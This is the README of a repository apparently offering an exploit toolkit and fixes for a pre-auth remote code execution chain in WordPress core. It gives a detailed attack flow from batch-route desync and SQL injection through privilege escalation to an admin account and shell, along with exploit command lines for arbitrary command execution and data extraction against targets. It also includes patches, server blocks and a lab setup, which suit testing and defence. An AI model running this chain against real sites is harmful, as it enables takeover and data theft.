
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit-Toolkit + Behebung.
CVE-2026-63030 (Batch-Routen-Konfusion, CVSS 7.5) + CVE-2026-60137 (SQL-Injection, CVSS 9.1)
Eine Pre-Auth-Kette zur Remote-Codeausführung im WordPress-Core, die keine Plugins, keine spezielle Konfiguration erfordert und auf Standardinstallationen funktioniert.
| Versionsbereich | Auswirkung | Behoben in |
|---|
| WordPress 7.0.0 – 7.0.1 | Vollständige RCE | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | Vollständige RCE | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | Nur SQL-Injection | 6.8.6 |
Voraussetzung: Kein persistenter Objekt-Cache (Redis/Memcached). Dies ist bei der überwiegenden Mehrheit der WordPress-Installationen die Standardkonfiguration.
Der Exploit verkettet zwei Schwachstellen:
REST-API-Batch-Routen-Konfusion — Ein fehlerhafter Pfad in einer Batch-Unteranfrage führt dazu, dass wp_parse_url() false zurückgibt, wodurch ein WP_Error entsteht, der die Arrays $matches[] und $requests[] desynchronisiert. Nachfolgende Anfragen werden gegen falsche Handler weitergeleitet und umgehen so die Authentifizierung.
SQL-Injection in WP_Query — Wenn author__not_in als String statt als Array übergeben wird, wird die Bereinigung durch absint() übersprungen und der Rohwert direkt in die SQL-WHERE-Klausel interpoliert.
In Kombination mit dem oEmbed-Caching-System von WordPress (Schreib-Primitive), der automatischen Veröffentlichung von Customizer-Changesets (Rechteausweitung) und der REST-API-Reentranz (privilegierte Weiterleitung) wird so eine nicht authentifizierte Codeausführung erreicht.
wp2shell/
├── README.md ← This file
│
├── wp2shell-exploit/ ← Exploitation tools
│ ├── exploit.py # Full pre-auth RCE (no password cracking)
│ ├── exploit_hash.py # Hash extraction + authenticated RCE
│ ├── detect.py # Non-destructive vulnerability scanner
│ └── README.md
│
├── wp2shell-patch/ ← Remediation
│ ├── patch.sh # Source code patch (mirrors official fix)
│ ├── wp2shell-shield.php # Drop-in mu-plugin (30-second deploy)
│ ├── block-batch.conf # Nginx mitigation
│ ├── block-batch.htaccess # Apache mitigation
│ └── README.md
│
├── docker-compose.yml # Vulnerable test environment (WP 7.0.1)
└── Dockerfile.debug # XDebug-enabled image for research
Der WordPress-Quellcode ist nicht enthalten. Laden Sie ihn von https://wordpress.org/download/releases/ herunter (7.0.1 für die verwundbare, 7.0.2 für die gepatchte Version).
cd wp2shell-exploit
# Single target
python3 detect.py https://target.example
# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli
# Batch scan from file
python3 detect.py targets.txt -q
# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"
# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess
# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress
# Best option: just update WordPress
wp core update # or Dashboard → Updates
┌─────────────────────────────┐
│ Anonymous HTTP Request │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (outer) │
│ Malformed path → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Steal /batch/v1 handler │
│ (no permission_callback!) │
│ → nested batch executes │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (inner) │
│ GET methods now allowed │
│ author_exclude unsanitized │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Phase 1: oEmbed │ │ Phase 2: │ │ Phase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Cache poison + │
│ post with [embed] │ │ extract IDs │ │ Changeset publish │
│ → WP creates cache │ │ + admin ID │ │ → wp_set_current_ │
│ posts (write prim.) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Re-entrancy │
│ parse_request triggers │
│ serve_request() re-entry │
│ → now running as admin! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Creates new administrator │
│ → Login → Plugin → Shell │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 wendet drei Korrekturen an, die jeweils ein Glied der Kette brechen:
| Korrektur | Datei | Auswirkung |
|---|---|---|
| Array-Ausrichtung | class-wp-rest-server.php | $matches[] = $single_request für WP_Error-Einträge — verhindert Desynchronisation |
| Reentranz-Schutz | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — verhindert verschachtelte serve_request-Aufrufe |
| SQL-Bereinigung | class-wp-query.php | wp_parse_id_list() wird immer angewendet — verhindert Injection |
WordPress 7.0.2 entfernt zusätzlich die Kollaborationsfunktion (Defense in Depth).
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Clean up
docker compose down
Dieses Repository wird ausschließlich für autorisierte Sicherheitsforschung, Penetrationstests und Bildungszwecke bereitgestellt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.